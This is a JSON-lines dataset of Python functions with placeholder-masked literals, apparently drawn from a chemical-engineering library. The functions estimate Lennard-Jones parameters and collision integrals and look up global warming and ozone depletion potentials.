{"signature": "def sigma_Bird_Stewart_Lightfoot_critical_2(Tc, Pc):", "body": "Pc = Pc/<NUM_LIT><EOL>sigma = <NUM_LIT>*(Tc/Pc)**(<NUM_LIT:1>/<NUM_LIT>)<EOL>return sigma<EOL>", "docstring": "r'''Calculates Lennard-Jones molecular diameter.\n    Uses critical temperature and pressure. CSP method by [1]_.\n\n    .. math::\n        \\sigma = 2.44(T_c/P_c)^{1/3}\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n\n    Returns\n    -------\n    sigma : float\n        Lennard-Jones molecular diameter, [Angstrom]\n\n    Notes\n    -----\n    Original units of critical pressure are atmospheres.\n\n    Examples\n    --------\n    >>> sigma_Bird_Stewart_Lightfoot_critical_2(560.1, 4550000)\n    5.658657684653222\n\n    References\n    ----------\n    .. [1] Bird, R. Byron, Warren E. Stewart, and Edwin N. Lightfoot.\n       Transport Phenomena, Revised 2nd Edition. New York:\n       John Wiley & Sons, Inc., 2006", "id": "f15793:m3"}
{"signature": "def sigma_Bird_Stewart_Lightfoot_critical_1(Vc):", "body": "Vc = Vc*<NUM_LIT>  <EOL>sigma = <NUM_LIT>*Vc**(<NUM_LIT:1>/<NUM_LIT>)<EOL>return sigma<EOL>", "docstring": "r'''Calculates Lennard-Jones molecular diameter.\n    Uses critical volume. CSP method by [1]_.\n\n    .. math::\n        \\sigma = 0.841 V_c^{1/3}\n\n    Parameters\n    ----------\n    Vc : float\n        Critical volume of fluid [m^3/mol]\n\n    Returns\n    -------\n    sigma : float\n        Lennard-Jones molecular diameter, [Angstrom]\n\n    Notes\n    -----\n    Original units of Vc are mL/mol.\n\n    Examples\n    --------\n    >>> sigma_Bird_Stewart_Lightfoot_critical_1(0.000268)\n    5.422184116631474\n\n    References\n    ----------\n    .. [1] Bird, R. Byron, Warren E. Stewart, and Edwin N. Lightfoot.\n       Transport Phenomena, Revised 2nd Edition. New York:\n       John Wiley & Sons, Inc., 2006", "id": "f15793:m4"}
{"signature": "def sigma_Bird_Stewart_Lightfoot_boiling(Vb):", "body": "Vb = Vb*<NUM_LIT><EOL>sigma = <NUM_LIT>*Vb**(<NUM_LIT:1>/<NUM_LIT>)<EOL>return sigma<EOL>", "docstring": "r'''Calculates Lennard-Jones molecular diameter.\n    Uses molar volume of liquid at boiling. CSP method by [1]_.\n\n    .. math::\n        \\sigma = 1.166V_{b,liq}^{1/3}\n\n    Parameters\n    ----------\n    Vb : float\n        Boiling molar volume of liquid [m^3/mol]\n\n    Returns\n    -------\n    sigma : float\n        Lennard-Jones collision integral, [Angstrom]\n\n    Notes\n    -----\n    Original units of Vb are mL/mol.\n\n    Examples\n    --------\n    >>> sigma_Bird_Stewart_Lightfoot_boiling(0.0001015)\n    5.439018856944655\n\n    References\n    ----------\n    .. [1] Bird, R. Byron, Warren E. Stewart, and Edwin N. Lightfoot.\n       Transport Phenomena, Revised 2nd Edition. New York:\n       John Wiley & Sons, Inc., 2006", "id": "f15793:m5"}
{"signature": "def sigma_Bird_Stewart_Lightfoot_melting(Vm):", "body": "Vm = Vm*<NUM_LIT><EOL>sigma = <NUM_LIT>*Vm**(<NUM_LIT:1>/<NUM_LIT>)<EOL>return sigma<EOL>", "docstring": "r'''Calculates Lennard-Jones molecular diameter.\n    Uses molar volume of a liquid at its melting point. CSP method by [1]_.\n\n    .. math::\n        \\sigma = 1.222 V_{m,sol}^{1/3}\n\n    Parameters\n    ----------\n    Vm : float\n        Melting molar volume of a liquid at its melting point [m^3/mol]\n\n    Returns\n    -------\n    sigma : float\n        Lennard-Jones molecular diameter, [Angstrom]\n\n    Notes\n    -----\n    Original units of Vm are mL/mol.\n\n    Examples\n    --------\n    >>> sigma_Bird_Stewart_Lightfoot_melting(8.8e-05)\n    5.435407341351406\n\n    References\n    ----------\n    .. [1] Bird, R. Byron, Warren E. Stewart, and Edwin N. Lightfoot.\n       Transport Phenomena, Revised 2nd Edition. New York:\n       John Wiley & Sons, Inc., 2006", "id": "f15793:m6"}
{"signature": "def sigma_Stiel_Thodos(Vc, Zc):", "body": "Vc = Vc*<NUM_LIT><EOL>sigma = <NUM_LIT>*Vc**(<NUM_LIT:1>/<NUM_LIT>)*Zc**(-<NUM_LIT>)<EOL>return sigma<EOL>", "docstring": "r'''Calculates Lennard-Jones molecular diameter.\n    Uses critical volume and compressibility. CSP method by [1]_.\n\n    .. math::\n        \\sigma = 0.1866 V_c^{1/3} Z_c^{-6/5}\n\n    Parameters\n    ----------\n    Vc : float\n        Critical volume of fluid [m^3/mol]\n    Zc : float\n        Critical compressibility of fluid, [-]\n\n    Returns\n    -------\n    sigma : float\n        Lennard-Jones molecular diameter, [Angstrom]\n\n    Notes\n    -----\n    Vc is originally in units of mL/mol.\n\n    Examples\n    --------\n    Monofluorobenzene\n\n    >>> sigma_Stiel_Thodos(0.000271, 0.265)\n    5.94300853971033\n\n    References\n    ----------\n    .. [1] Stiel, L. I., and George Thodos. \"Lennard-Jones Force Constants\n       Predicted from Critical Properties.\" Journal of Chemical & Engineering\n       Data 7, no. 2 (April 1, 1962): 234-36. doi:10.1021/je60013a023", "id": "f15793:m7"}
{"signature": "def sigma_Tee_Gotoh_Steward_1(Tc, Pc):", "body": "Pc = Pc/<NUM_LIT><EOL>sigma = <NUM_LIT>*(Tc/Pc)**(<NUM_LIT:1>/<NUM_LIT>)<EOL>return sigma<EOL>", "docstring": "r'''Calculates Lennard-Jones molecular diameter.\n    Uses critical temperature and pressure. CSP method by [1]_.\n\n    .. math::\n        \\sigma = 2.3647 \\left(\\frac{T_c}{P_c}\\right)^{1/3}\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n\n    Returns\n    -------\n    sigma : float\n        Lennard-Jones molecular diameter, [Angstrom]\n\n    Notes\n    -----\n    Original units of Pc are atm. Further regressions with other parameters\n    were performed in [1]_ but are not included here, except for\n    `sigma_Tee_Gotoh_Steward_2`.\n\n    Examples\n    --------\n    >>> sigma_Tee_Gotoh_Steward_1(560.1, 4550000)\n    5.48402779790962\n\n    References\n    ----------\n    .. [1] Tee, L. S., Sukehiro Gotoh, and W. E. Stewart. \"Molecular\n       Parameters for Normal Fluids. Lennard-Jones 12-6 Potential.\" Industrial\n       & Engineering Chemistry Fundamentals 5, no. 3 (August 1, 1966): 356-63.\n       doi:10.1021/i160019a011", "id": "f15793:m8"}
{"signature": "def sigma_Tee_Gotoh_Steward_2(Tc, Pc, omega):", "body": "Pc = Pc/<NUM_LIT><EOL>sigma = (<NUM_LIT>-<NUM_LIT>*omega)*(Tc/Pc)**(<NUM_LIT:1>/<NUM_LIT>)<EOL>return sigma<EOL>", "docstring": "r'''Calculates Lennard-Jones molecular diameter.\n    Uses critical temperature, pressure, and acentric factor. CSP method by\n    [1]_.\n\n    .. math::\n        \\sigma = (2.3551 - 0.0874\\omega)\\left(\\frac{T_c}{P_c}\\right)^{1/3}\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    omega : float\n        Acentric factor for fluid, [-]\n\n    Returns\n    -------\n    sigma : float\n        Lennard-Jones molecular diameter, [Angstrom]\n\n    Notes\n    -----\n    Original units of Pc are atm. Further regressions with other parameters\n    were performed in [1]_ but are not included here, except for\n    `sigma_Tee_Gotoh_Steward_1`.\n\n    Examples\n    --------\n    >>> sigma_Tee_Gotoh_Steward_2(560.1, 4550000, 0.245)\n    5.412104867264477\n\n    References\n    ----------\n    .. [1] Tee, L. S., Sukehiro Gotoh, and W. E. Stewart. \"Molecular Parameters\n       for Normal Fluids. Lennard-Jones 12-6 Potential.\" Industrial\n       & Engineering Chemistry Fundamentals 5, no. 3 (August 1, 1966): 356-63.\n       doi:10.1021/i160019a011", "id": "f15793:m9"}
{"signature": "def sigma_Silva_Liu_Macedo(Tc, Pc):", "body": "Pc = Pc/<NUM_LIT>  <EOL>term = <NUM_LIT> + <NUM_LIT>*(Tc/Pc) - <NUM_LIT> * (Tc/Pc)**<NUM_LIT:2><EOL>if term < <NUM_LIT:0>:<EOL><INDENT>sigma = None<EOL><DEDENT>else:<EOL><INDENT>sigma = (term)**(<NUM_LIT:1>/<NUM_LIT>)<EOL><DEDENT>return sigma<EOL>", "docstring": "r'''Calculates Lennard-Jones molecular diameter.\n    Uses critical temperature and pressure. CSP method by [1]_.\n\n    .. math::\n        \\sigma_{LJ}^3 = 0.17791 + 11.779 \\left( \\frac{T_c}{P_c}\\right)\n        - 0.049029\\left( \\frac{T_c}{P_c}\\right)^2\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n\n    Returns\n    -------\n    sigma : float\n        Lennard-Jones molecular diameter, [Angstrom]\n\n    Notes\n    -----\n    Pc is originally in bar. An excellent paper. None is  \n    returned if the polynomial returns a negative number, as in the case of \n    1029.13 K and 3.83 bar.\n\n    Examples\n    --------\n    >>> sigma_Silva_Liu_Macedo(560.1, 4550000)\n    5.164483998730177\n\n    References\n    ----------\n    .. [1] Silva, Carlos M., Hongqin Liu, and Eugenia A. Macedo. \"Models for\n       Self-Diffusion Coefficients of Dense Fluids, Including Hydrogen-Bonding\n       Substances.\" Chemical Engineering Science 53, no. 13 (July 1, 1998):\n       2423-29. doi:10.1016/S0009-2509(98)00037-2", "id": "f15793:m10"}
{"signature": "def epsilon_Flynn(Tc):", "body": "epsilon_k = <NUM_LIT>*Tc**(<NUM_LIT:5>/<NUM_LIT>)<EOL>return epsilon_k<EOL>", "docstring": "r'''Calculates Lennard-Jones depth of potential-energy minimum.\n    Uses critical temperature. CSP method by [1]_ as reported in [2]_.\n\n    .. math::\n        \\epsilon/k = 1.77 T_c^{5/6}\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid [K]\n\n    Returns\n    -------\n    epsilon_k : float\n        Lennard-Jones depth of potential-energy minimum over k, [K]\n\n    Notes\n    -----\n\n    Examples\n    --------\n    >>> epsilon_Flynn(560.1)\n    345.2984087011443\n\n    References\n    ----------\n    .. [1] Flynn, L.W., M.S. thesis, Northwestern Univ., Evanston, Ill. (1960).\n    .. [2] Stiel, L. I., and George Thodos. \"Lennard-Jones Force Constants\n       Predicted from Critical Properties.\" Journal of Chemical & Engineering\n       Data 7, no. 2 (April 1, 1962): 234-36. doi:10.1021/je60013a023", "id": "f15793:m11"}
{"signature": "def epsilon_Bird_Stewart_Lightfoot_critical(Tc):", "body": "epsilon_k = <NUM_LIT>*Tc<EOL>return epsilon_k<EOL>", "docstring": "r'''Calculates Lennard-Jones depth of potential-energy minimum.\n    Uses critical temperature. CSP method by [1]_.\n\n    .. math::\n        \\epsilon/k = 0.77T_c\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid [K]\n\n    Returns\n    -------\n    epsilon_k : float\n        Lennard-Jones depth of potential-energy minimum over k, [K]\n\n    Notes\n    -----\n\n    Examples\n    --------\n    >>> epsilon_Bird_Stewart_Lightfoot_critical(560.1)\n    431.27700000000004\n\n    References\n    ----------\n    .. [1] Bird, R. Byron, Warren E. Stewart, and Edwin N. Lightfoot.\n       Transport Phenomena, Revised 2nd Edition. New York:\n       John Wiley & Sons, Inc., 2006", "id": "f15793:m12"}
{"signature": "def epsilon_Bird_Stewart_Lightfoot_boiling(Tb):", "body": "epsilon_k = <NUM_LIT>*Tb<EOL>return epsilon_k<EOL>", "docstring": "r'''Calculates Lennard-Jones depth of potential-energy minimum.\n    Uses boiling temperature. CSP method by [1]_.\n\n    .. math::\n        \\epsilon/k = 1.15 T_b\n\n    Parameters\n    ----------\n    Tb : float\n        Boiling temperature [K]\n\n    Returns\n    -------\n    epsilon_k : float\n        Lennard-Jones depth of potential-energy minimum over k, [K]\n\n    Notes\n    -----\n\n    Examples\n    --------\n    >>> epsilon_Bird_Stewart_Lightfoot_boiling(357.85)\n    411.5275\n\n    References\n    ----------\n    .. [1] Bird, R. Byron, Warren E. Stewart, and Edwin N. Lightfoot.\n       Transport Phenomena, Revised 2nd Edition. New York:\n       John Wiley & Sons, Inc., 2006", "id": "f15793:m13"}
{"signature": "def epsilon_Bird_Stewart_Lightfoot_melting(Tm):", "body": "epsilon_k = <NUM_LIT>*Tm<EOL>return epsilon_k<EOL>", "docstring": "r'''Calculates Lennard-Jones depth of potential-energy minimum.\n    Uses melting temperature. CSP method by [1]_.\n\n    .. math::\n        \\epsilon/k = 1.92T_m\n\n    Parameters\n    ----------\n    Tm : float\n        Melting temperature [K]\n\n    Returns\n    -------\n    epsilon_k : float\n        Lennard-Jones depth of potential-energy minimum over k, [K]\n\n    Notes\n    -----\n\n    Examples\n    --------\n    >>> epsilon_Bird_Stewart_Lightfoot_melting(231.15)\n    443.808\n\n    References\n    ----------\n    .. [1] Bird, R. Byron, Warren E. Stewart, and Edwin N. Lightfoot.\n       Transport Phenomena, Revised 2nd Edition. New York:\n       John Wiley & Sons, Inc., 2006", "id": "f15793:m14"}
{"signature": "def epsilon_Stiel_Thodos(Tc, Zc):", "body": "epsilon_k = <NUM_LIT>*Tc*Zc**<NUM_LIT><EOL>return epsilon_k<EOL>", "docstring": "r'''Calculates Lennard-Jones depth of potential-energy minimum.\n    Uses Critical temperature and critical compressibility. CSP method by [1]_.\n\n    .. math::\n        \\epsilon/k = 65.3 T_c Z_c^{3.6}\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid [K]\n    Zc : float\n        Critical compressibility of fluid, [-]\n\n    Returns\n    -------\n    epsilon_k : float\n        Lennard-Jones depth of potential-energy minimum over k, [K]\n\n    Notes\n    -----\n\n    Examples\n    --------\n    Fluorobenzene\n\n    >>> epsilon_Stiel_Thodos(358.5, 0.265)\n    196.3755830305783\n\n    References\n    ----------\n    .. [1] Stiel, L. I., and George Thodos. \"Lennard-Jones Force Constants\n       Predicted from Critical Properties.\" Journal of Chemical & Engineering\n       Data 7, no. 2 (April 1, 1962): 234-36. doi:10.1021/je60013a023", "id": "f15793:m15"}
{"signature": "def epsilon_Tee_Gotoh_Steward_1(Tc):", "body": "epsilon_k = <NUM_LIT>*Tc<EOL>return epsilon_k<EOL>", "docstring": "r'''Calculates Lennard-Jones depth of potential-energy minimum.\n    Uses Critical temperature. CSP method by [1]_.\n\n    .. math::\n        \\epsilon/k = 0.7740T_c\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid [K]\n\n    Returns\n    -------\n    epsilon_k : float\n        Lennard-Jones depth of potential-energy minimum over k, [K]\n\n    Notes\n    -----\n    Further regressions with other parameters were performed in [1]_ but are\n    not included here, except for `epsilon_Tee_Gotoh_Steward_2`.\n\n    Examples\n    --------\n    >>> epsilon_Tee_Gotoh_Steward_1(560.1)\n    433.5174\n\n    References\n    ----------\n    .. [1] Tee, L. S., Sukehiro Gotoh, and W. E. Stewart. \"Molecular Parameters\n       for Normal Fluids. Lennard-Jones 12-6 Potential.\" Industrial &\n       Engineering Chemistry Fundamentals 5, no. 3 (August 1, 1966): 356-63.\n       doi:10.1021/i160019a011", "id": "f15793:m16"}
{"signature": "def epsilon_Tee_Gotoh_Steward_2(Tc, omega):", "body": "epsilon_k = (<NUM_LIT> + <NUM_LIT>*omega)*Tc<EOL>return epsilon_k<EOL>", "docstring": "r'''Calculates Lennard-Jones depth of potential-energy minimum.\n    Uses critical temperature and acentric factor. CSP method by [1]_.\n\n    .. math::\n        \\epsilon/k = (0.7915 + 0.1693 \\omega)T_c\n\n    Parameters\n    ----------\n    Tc : float\n        Critical temperature of fluid [K]\n    omega : float\n        Acentric factor for fluid, [-]\n\n    Returns\n    -------\n    epsilon_k : float\n        Lennard-Jones depth of potential-energy minimum over k, [K]\n\n    Notes\n    -----\n    Further regressions with other parameters were performed in [1]_ but are\n    not included here, except for `epsilon_Tee_Gotoh_Steward_1`.\n\n    Examples\n    --------\n    >>> epsilon_Tee_Gotoh_Steward_2(560.1, 0.245)\n    466.55125785\n\n    References\n    ----------\n    .. [1] Tee, L. S., Sukehiro Gotoh, and W. E. Stewart. \"Molecular Parameters\n       for Normal Fluids. Lennard-Jones 12-6 Potential.\" Industrial &\n       Engineering Chemistry Fundamentals 5, no. 3 (August 1, 1966): 356-63.\n       doi:10.1021/i160019a011", "id": "f15793:m17"}
{"signature": "def collision_integral_Neufeld_Janzen_Aziz(Tstar, l=<NUM_LIT:1>, s=<NUM_LIT:1>):", "body": "if (l, s) not in Neufeld_collision:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>A, B, C, D, E, F, G, H, R, S, W, P = Neufeld_collision[(l, s)]<EOL>omega = A/Tstar**B + C/exp(D*Tstar) + E/exp(F*Tstar)<EOL>if (l, s) in [(<NUM_LIT:1>, <NUM_LIT:1>), (<NUM_LIT:1>, <NUM_LIT:2>), (<NUM_LIT:3>, <NUM_LIT:3>)]:<EOL><INDENT>omega += G/exp(H*Tstar)<EOL><DEDENT>if (l, s) not in [(<NUM_LIT:1>, <NUM_LIT:1>), (<NUM_LIT:1>, <NUM_LIT:2>)]:<EOL><INDENT>omega += R*Tstar**B*sin(S*Tstar**W-P)<EOL><DEDENT>return omega<EOL>", "docstring": "r'''Calculates Lennard-Jones collision integral for any of 16 values of\n    (l,j) for the wide range of 0.3 < Tstar < 100. Values are accurate to\n    0.1 % of actual values, but the calculation of actual values is\n    computationally intensive and so these simplifications are used, developed\n    in [1]_.\n\n    .. math::\n        \\Omega_D = \\frac{A}{T^{*B}} + \\frac{C}{\\exp(DT^*)} +\n        \\frac{E}{\\exp(FT^{*})} + \\frac{G}{\\exp(HT^*)} + RT^{*B}\\sin(ST^{*W}-P)\n\n    Parameters\n    ----------\n    Tstar : float\n        Reduced temperature of the fluid [-]\n    l : int\n        term\n    s : int\n        term\n\n    Returns\n    -------\n    Omega : float\n        Collision integral of A and B\n\n    Notes\n    -----\n    Acceptable pairs of (l,s) are (1, 1), (1, 2), (1, 3), (1, 4), (1, 5),\n    (1, 6), (1, 7), (2, 2), (2, 3), (2, 4), (2, 5), (2, 6), (3, 3), (3, 4),\n    (3, 5), and (4, 4).\n\n    .. math::\n        T^* = \\frac{k_b T}{\\epsilon}\n\n    Results are very similar to those of the more modern formulation,\n    `collision_integral_Kim_Monroe`.\n\n    Calculations begin to yield overflow errors in some values of (l, 2) after\n    Tstar = 75, beginning with (1, 7). Also susceptible are (1, 5) and (1, 6).\n\n    Examples\n    --------\n    >>> collision_integral_Neufeld_Janzen_Aziz(100, 1, 1)\n    0.516717697672334\n\n    References\n    ----------\n    .. [1] Neufeld, Philip D., A. R. Janzen, and R. A. Aziz. \"Empirical\n       Equations to Calculate 16 of the Transport Collision Integrals\n       Omega(l, S)* for the Lennard-Jones (12-6) Potential.\" The Journal of\n       Chemical Physics 57, no. 3 (August 1, 1972): 1100-1102.\n       doi:10.1063/1.1678363", "id": "f15793:m18"}
{"signature": "def collision_integral_Kim_Monroe(Tstar, l=<NUM_LIT:1>, s=<NUM_LIT:1>):", "body": "if (l, s) not in As_collision:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>omega = As_collision[(l, s)]<EOL>for ki in range(<NUM_LIT:6>):<EOL><INDENT>Bs = Bs_collision[(l, s)]<EOL>Cs = Cs_collision[(l, s)]<EOL>omega += Bs[ki]/Tstar**(ki+<NUM_LIT:1>) + Cs[ki]*log(Tstar)**(ki+<NUM_LIT:1>)<EOL><DEDENT>return omega<EOL>", "docstring": "r'''Calculates Lennard-Jones collision integral for any of 16 values of\n    (l,j) for the wide range of 0.3 < Tstar < 400. Values are accurate to\n    0.007 % of actual values, but the calculation of actual values is\n    computationally intensive and so these simplifications are used, developed\n    in [1]_.\n\n    .. math::\n        \\Omega^{(l,s)*} = A^{(l,s)} + \\sum_{k=1}^6 \\left[ \\frac{B_k^{(l,s)}}\n        {(T^*)^k} + C_k^{(l,s)} (\\ln T^*)^k \\right]\n\n    Parameters\n    ----------\n    Tstar : float\n        Reduced temperature of the fluid [-]\n    l : int\n        term\n    s : int\n        term\n\n\n    Returns\n    -------\n    Omega : float\n        Collision integral of A and B\n\n    Notes\n    -----\n    Acceptable pairs of (l,s) are (1, 1), (1, 2), (1, 3), (1, 4), (1, 5),\n    (1, 6), (1, 7), (2, 2), (2, 3), (2, 4), (2, 5), (2, 6), (3, 3), (3, 4),\n    (3, 5), and (4, 4).\n\n    .. math::\n        T^* = \\frac{k_b T}{\\epsilon}\n\n    Examples\n    --------\n    >>> collision_integral_Kim_Monroe(400, 1, 1)\n    0.4141818082392228\n\n    References\n    ----------\n    .. [1] Kim, Sun Ung, and Charles W. Monroe. \"High-Accuracy Calculations of\n       Sixteen Collision Integrals for Lennard-Jones (12-6) Gases and Their\n       Interpolation to Parameterize Neon, Argon, and Krypton.\" Journal of\n       Computational Physics 273 (September 15, 2014): 358-73.\n       doi:10.1016/j.jcp.2014.05.018.", "id": "f15793:m19"}
{"signature": "def Tstar(T, epsilon_k=None, epsilon=None):", "body": "if epsilon_k:<EOL><INDENT>_Tstar = T/(epsilon_k)<EOL><DEDENT>elif epsilon:<EOL><INDENT>_Tstar = k*T/epsilon<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return _Tstar<EOL>", "docstring": "r'''This function calculates the parameter `Tstar` as needed in performing\n    collision integral calculations.\n\n    .. math::\n        T^* = \\frac{kT}{\\epsilon}\n\n    Examples\n    --------\n    >>> Tstar(T=318.2, epsilon_k=308.43)\n    1.0316765554582887\n\n    Parameters\n    ----------\n    epsilon_k : float, optional\n        Lennard-Jones depth of potential-energy minimum over k, [K]\n    epsilon : float, optional\n        Lennard-Jones depth of potential-energy minimum [J]\n\n    Returns\n    -------\n    Tstar : float\n        Dimentionless temperature for calculating collision integral, [-]\n\n    Notes\n    -----\n    Tabulated values are normally listed as epsilon/k. k is the Boltzman\n    constant, with units of J/K.\n\n    References\n    ----------\n    .. [1] Bird, R. Byron, Warren E. Stewart, and Edwin N. Lightfoot.\n       Transport Phenomena, Revised 2nd Edition. New York:\n       John Wiley & Sons, Inc., 2006", "id": "f15793:m20"}
{"signature": "def GWP(CASRN, AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in GWP_data.index:<EOL><INDENT>methods.append(IPCC100)<EOL>if not pd.isnull(GWP_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(IPCC100SAR)<EOL><DEDENT>methods.append(IPCC20)<EOL>methods.append(IPCC500)<EOL><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == IPCC100:<EOL><INDENT>return float(GWP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == IPCC100SAR:<EOL><INDENT>return float(GWP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == IPCC20:<EOL><INDENT>return float(GWP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == IPCC500:<EOL><INDENT>return float(GWP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''This function handles the retrieval of a chemical's Global Warming\n    Potential, relative to CO2. Lookup is based on CASRNs. Will automatically\n    select a data source to use if no Method is provided; returns None if the\n    data is not available.\n\n    Returns the GWP for the 100yr outlook by default.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    GWP : float\n        Global warming potential, [(impact/mass chemical)/(impact/mass CO2)]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain GWP with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Accepted methods are IPCC (2007) 100yr',\n        'IPCC (2007) 100yr-SAR', 'IPCC (2007) 20yr', and 'IPCC (2007) 500yr'. \n        All valid values are also held in the list GWP_methods.\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        the GWP for the desired chemical, and will return methods\n        instead of the GWP\n\n    Notes\n    -----\n    All data is from [1]_, the official source. Several chemicals are available\n    in [1]_ are not included here as they do not have a CAS.\n    Methods are 'IPCC (2007) 100yr', 'IPCC (2007) 100yr-SAR',\n    'IPCC (2007) 20yr', and 'IPCC (2007) 500yr'.\n\n    Examples\n    --------\n    Methane, 100-yr outlook\n\n    >>> GWP(CASRN='74-82-8')\n    25.0\n\n    References\n    ----------\n    .. [1] IPCC. \"2.10.2 Direct Global Warming Potentials - AR4 WGI Chapter 2:\n       Changes in Atmospheric Constituents and in Radiative Forcing.\" 2007.\n       https://www.ipcc.ch/publications_and_data/ar4/wg1/en/ch2s2-10-2.html.", "id": "f15794:m0"}
{"signature": "def ODP(CASRN, AvailableMethods=False, Method=None):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in ODP_data.index:<EOL><INDENT>if not pd.isnull(ODP_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(ODP2MAX)<EOL><DEDENT>if not pd.isnull(ODP_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(ODP1MAX)<EOL><DEDENT>if not pd.isnull(ODP_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(ODP2LOG)<EOL><DEDENT>if not pd.isnull(ODP_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(ODP1LOG)<EOL><DEDENT>if not pd.isnull(ODP_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(ODP2MIN)<EOL><DEDENT>if not pd.isnull(ODP_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(ODP1MIN)<EOL><DEDENT>if not pd.isnull(ODP_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(ODP2STR)<EOL><DEDENT>if not pd.isnull(ODP_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(ODP1STR)<EOL><DEDENT><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == ODP2MAX:<EOL><INDENT>return float(ODP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == ODP1MAX:<EOL><INDENT>return float(ODP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == ODP2MIN:<EOL><INDENT>return float(ODP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == ODP1MIN:<EOL><INDENT>return float(ODP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == ODP2LOG:<EOL><INDENT>return float(ODP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == ODP1LOG:<EOL><INDENT>return float(ODP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == ODP2STR:<EOL><INDENT>return str(ODP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == ODP1STR:<EOL><INDENT>return str(ODP_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''This function handles the retrieval of a chemical's Ozone Depletion\n    Potential, relative to CFC-11 (trichlorofluoromethane). Lookup is based on\n    CASRNs. Will automatically select a data source to use if no Method is\n    provided; returns None if the data is not available.\n\n    Returns the ODP of a chemical according to [2]_ when a method is not\n    specified. If a range is provided in [2]_, the highest value is returned.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    ODP : float or str\n        Ozone Depletion potential, [(impact/mass chemical)/(impact/mass CFC-11)];\n        if method selected has `string` in it, this will be returned as a\n        string regardless of if a range is given or a number\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain ODP with the\n        given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        The method name to use. Accepted methods are 'ODP2 Max', 'ODP2 Min', \n        'ODP2 string', 'ODP2 logarithmic average', and methods for older values\n        are 'ODP1 Max', 'ODP1 Min', 'ODP1 string', and 'ODP1 logarithmic average'.\n        All valid values are also held in the list ODP_methods.\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        ODP_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        the ODP for the desired chemical, and will return methods\n        instead of the ODP\n\n    Notes\n    -----\n    Values are tabulated only for a small number of halogenated hydrocarbons,\n    responsible for the largest impact. The original values of ODP as defined\n    in the Montreal Protocol are also available, as methods with the `ODP1`\n    prefix.\n\n    All values are somewhat emperical, as actual reaction rates of chemicals\n    with ozone depend on temperature which depends on latitude, longitude,\n    time of day, weather, and the concentrations of other pollutants.\n\n    All data is from [1]_. Several mixtures listed in [1]_ are not included\n    here as they are not pure species.\n    Methods for values in [2]_ are 'ODP2 Max', 'ODP2 Min', 'ODP2 string',\n    'ODP2 logarithmic average',  and methods for older values are 'ODP1 Max',\n    'ODP1 Min', 'ODP1 string', and 'ODP1 logarithmic average'.\n\n    Examples\n    --------\n    Dichlorotetrafluoroethane, according to [2]_.\n\n    >>> ODP(CASRN='76-14-2')\n    0.58\n\n    References\n    ----------\n    .. [1] US EPA, OAR. \"Ozone-Depleting Substances.\" Accessed April 26, 2016.\n       